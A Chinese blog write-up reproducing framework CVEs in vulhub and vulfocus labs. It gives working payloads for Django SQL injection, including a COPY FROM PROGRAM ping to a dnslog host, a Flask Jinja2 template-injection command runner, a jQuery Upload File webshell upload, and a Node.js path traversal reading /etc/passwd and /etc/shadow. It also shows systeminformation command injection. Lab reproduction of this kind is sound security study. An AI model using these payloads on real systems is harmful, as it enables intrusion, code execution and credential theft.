框架安全-CVE 漏洞复现&Django&Flask&Node.js&JQuery框架漏洞复现-CSDN博客

服务攻防-框架安全&CVE复现&Django&Flask&Node.JS&JQuery漏洞复现

中间件列表介绍

中间件及框架列表

IISApacheNginxTomcatDockerK8sWeblogicJBoosWebSphereJenkins GlassFishJettyJiraStruts2LaravelSolrShiroThinkphpSpringFlaskjQuery 等

1、开发框架-PHP-Laravel-Thinkphp

2、开发框架-Javaweb-St2-Spring

3、开发框架-Python-django-Flask

4、开发框架-Javascript-Node.js-JQuery

5、其他框架-Java-Apache Shiro&Apache Sorl

常见语言开发框架

PHPThinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVASpring MyBatis Hibernate Struts2 Springboot 等

PythonDjango Flask Bottle Turbobars Tornado Web2py 等

JavascriptVue.js Node.js Bootstrap JQuery Angular 等

常见中间件的安全测试

1、配置不当-解析&弱口令

2、安全机制-特定安全漏洞

3、安全机制-弱口令爆破攻击

4、安全应用-框架特定安全漏洞

中间件安全测试流程

1、判断中间件信息-名称&版本&三方

2、判断中间件问题-配置不当&公开漏洞

3、判断中间件利用-弱口令&EXP&框架漏洞

应用服务安全测试流程

1、判断服务开放情况-端口扫描&组合应用等

2、判断服务类型归属-数据库&文件传输&通讯等

3、判断服务利用方式-特定漏洞&未授权&弱口令等

开发框架组件安全测试流程

1、判断常见语言开发框架类型

2、判断开发框架存在的 CVE 问题

Python开发框架安全-Django&Flask漏洞复现

Django开发框架

介绍django(Python Web 框架)详解

Django是一个高级的Python Web框架可以快速开发安全和可维护的网站。由经验丰富的开发者构建Django负责处理网站开发中麻烦的部分可以专注于编写应用程序而无需重新开发。它是免费和开源的有活跃繁荣的社区丰富的文档以及很多免费和付费的解决方案。

Django 是一款广为流行的开源 web 框架由 Python 编写许多网站和 app 都基于
Django 开发。Django 采用了 MTV 的框架模式即模型 M视图 V 和模版 T使用
Django程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且
Django 还包含许多功能强大的第三方插件使得 Django 具有较强的可扩展性。

安全问题

CVE_2019_14234

CVE-2021-35042

漏洞复现

CVE-2019-14234Django JSONField/HStoreField SQL注入漏洞

该漏洞要求开发者使用 JSONField/HStoreField;此外还可以控制 QuerySet 的字段名称。Django 的内置应用程序 Django-Admin 受到影响这为我们提供了一种重现漏洞的简单方法。

靶场vulhub

参考Django JSONField/HStoreField SQL注入漏洞复现

image-20231029172240612

开启环境

image-20231029172437823

访问web界面

image-20231029172549248

首先使用用户名和密码登录 Django-Admin。

http://your-ip:8000/admin/

账号admin 密码a123123123

成功登录

image-20231029172835555

然后转到模型的列表视图

http://your-ip:8000/admin/vuln/collection/

Collection

image-20231029173347585

添加到 GET 参数中其中是 JSONField

detail__a'b=123 detail

payload:

http://your-ip:8000/admin/vuln/collection/?detail__a%27b=123

可以看到单引号注入成功SQL语句报错

image-20231029173547506

创建 cmd_exec

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20

执行效果

成功创建

image-20231029173642878

调用 cmd_exec 执行命令

DNSlog获取地址

payload:
/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%
20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping%20xxxx.dnslog.cn%27--%20

image-20231029174041806

DNSlog回显效果

image-20231029174025586

CVE-2021-35042Django QuerySet.order_by SQL注入漏洞

该漏洞需要开发人员使用order_by功能。此外还可以控制查询集的输入。

靶场vulhub

参考Django QuerySet.order_by SQL注入漏洞复现

image-20231029174553987

开启环境

image-20231029175205490

访问web界面

image-20231029175521855

首先转到列表视图并添加到 GET 参数。

payload:

http://your-ip:8000/vuln/order=-id

执行过后会看到按 id 降序排序的数据

image-20231029175503012

payload:
目录
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20@@basedir)),1)%23

版本
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20version())),1)%23

数据库名
/vuln/?order=vuln_collection.name);select%20updatexml(1,%20concat
(0x7e,(select%20database())),1)%23

可以看到单括号已经注入成功可以从错误中获取信息。

查看目录:

image-20231029175617387

爆版本号

image-20231029175653357

爆数据库名

image-20231029175735226

Flask Jinja2 SSTI

介绍Flask详解

Flask 是一个使用 Python 编写的轻量级 Web 应用框架。其 WSGI 工具箱采用
Werkzeug 模板引擎则使用 Jinja2。Flask使用 BSD 授权。

Flask也被称为 “microframework” 因为它使用简单的核心用 extension 增加其他功能。Flask没有默认使用的数据库、窗体验证工具。

安全问题

FlaskJinja2 服务端模板注入漏洞

漏洞复现

FlaskJinja2 服务端模板注入漏洞

靶场vulhub

参考FlaskJinja2 服务端模板注入漏洞复现

image-20231029180646523

开启环境

image-20231029180816652

访问web界面

image-20231029180838789

接下来进行访问http://your-ip/?name={{123*123}}得到15129这个结果则说明SSTI漏洞存在。

image-20231029181008341

获取eval函数并执行任意python代码的POC

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

ps:需要进行url编码编码过后直接通过GET请求发送即可。

image-20231029181552579

执行命令处自定义像要执行的命令查看的信息每次更换命令都需要进行URL编码重新发送。

image-20231029181214232

其他命令lswhoami

执行效果

image-20231029181451946

image-20231029181527216

JavaScript开发框架安全-Jquery&Node漏洞复现

jQuery框架

介绍jQuery详解

jQuery是一个快速、简洁的JavaScript框架是继Prototype之后又一个优秀的JavaScript代码库框架于2006年1月由John Resig发布。jQuery设计的宗旨是“write LessDo More”即倡导写更少的代码做更多的事情。它封装JavaScript常用的功能代码提供一种简便的JavaScript设计模式优化HTML文档操作、事件处理、动画设计和Ajax交互。

安全问题

CVE_2018_9207

CVE_2018_9208

CVE_2018_9209

漏洞复现

CVE_2018_9207-jQuery Upload File漏洞复现

jQuery是一个快速、简洁的JavaScript框架是继Prototype之后又一个优秀的JavaScript代码库框架于2006年1月由John Resig发布。 jQuery Upload File <= 4.0.2 中的任意文件上传 根目录下/jquery-upload-file

靶场vulfocus

开启靶场

image-20231029214847162

访问web界面

image-20231029214903143

访问框架引用目录结构

/jquery-upload-file/

image-20231029214930061

利用

一条命令即可解决访问并上传文件。

payload:
//访问网站进行上传前提是在文件夹下创建后门文件。
curl -F "myfile=@shell.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"

curl -F "myfile=@cmd.php" "http://192.168.100.134:37180/jquery-upload-file/php/upload.php"

上传shell.php

image-20231029215115640

上传cmd.php:

image-20231029215508572

查看

上传文件所在位置(后门为php)

/jquery-upload-file/php/uploads/

image-20231029215132838

image-20231029215532519

验证可否解析执行

image-20231029215146073

使用蚁剑连接

连接成功

image-20231029215237733

其他列出的安全问题基本都差不多。

Node.js

详解node.js详解

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境用于方便的搭建响应
速度快、易于拓展的网络应用。

Node.js对一些特殊用例进行优化提供替代的API使得V8在非浏览器环境下运行得更好V8引擎执行Javascript的速度非常快性能非常好基于Chrome JavaScript运行时建立的平台 用于方便地搭建响应速度快、易于扩展的网络应用

安全问题

CVE_2021_21315

CVE_2017_14849

漏洞复现

Node.js 目录穿越漏洞CVE-2017-14849

Joyent Node.js是美国Joyent公司的一套建立在Google V8 JavaScript引擎之上的网络应用平台。该平台主要用于构建高度可伸缩的应用程序以及编写能够处理数万条且同时连接到一个物理机的连接代码。 Joyent Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。

漏洞原因是 Node.js 8.5.0 对目录进行normalize操作时出现了逻辑错误导致向上层跳跃的时候如../../../../../../etc/passwd在中间位置增加foo/../../../../foo/../../../../etc/passwd即可使normalize返回/etc/passwd但实际上正确结果应该是../../../../../../etc/passwd

express这类web框架通常会提供了静态文件服务器的功能这些功能依赖于normalize函数。比如express在判断path是否超出静态目录范围时就用到了normalize函数上述BUG导致normalize函数返回错误结果导致绕过了检查造成任意文件读取漏洞。

靶场vulfocus

参考CVE-2017-14849复现

开启环境

image-20231029220842271

访问web界面

image-20231029220949792

其中引用到了文件/static/main.js说明其存在静态文件服务器。

image-20231029222139768

构造请求

通过GET请求发送以下数据包即可
GET
...
/static/../../../a/../../../../etc/passwd
...

完整数据包

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: 192.168.100.134:56111
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

发送给重发器然后再发送数据包过后

如果打开web界面抓包时构造请求后发包无法正常回显状态码报错。可尝试删除cookie等相关信息不然可能会无法正常回显错误状态码。如果正常回显就可以不用删除。

image-20231029221917617

效果成功读取/etc/passwd文件

image-20231029221456694

效果成功读取/etc/shadow文件

image-20231029221517759

Node.js 命令执行 CVE-2021-21315

Node.js-systeminformation是用于获取各种系统信息的Node.JS模块它包含多种轻量级功能可以检索详细的硬件和系统相关信息 npm团队发布安全公告Node.js库中的systeminformation软件包中存在一个命令注入漏洞CVE-2021-21315其CVSSv3评分为7.8。攻击者可以通过在未经过滤的参数中注入Payload来执行系统命令。

靶场vulfocus

开启环境

image-20231029222901495

访问web界面

image-20231029222827237

构造GET请求

payload
/api/getServices?name[]=$(echo%20%27rumilc666%27%20>%20rumi.txt)

执行过后

image-20231029224746956

验证

成功生成该文件

docker ps
docker exec -it id /bin/bash

image-20231029224713536

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6
标签: go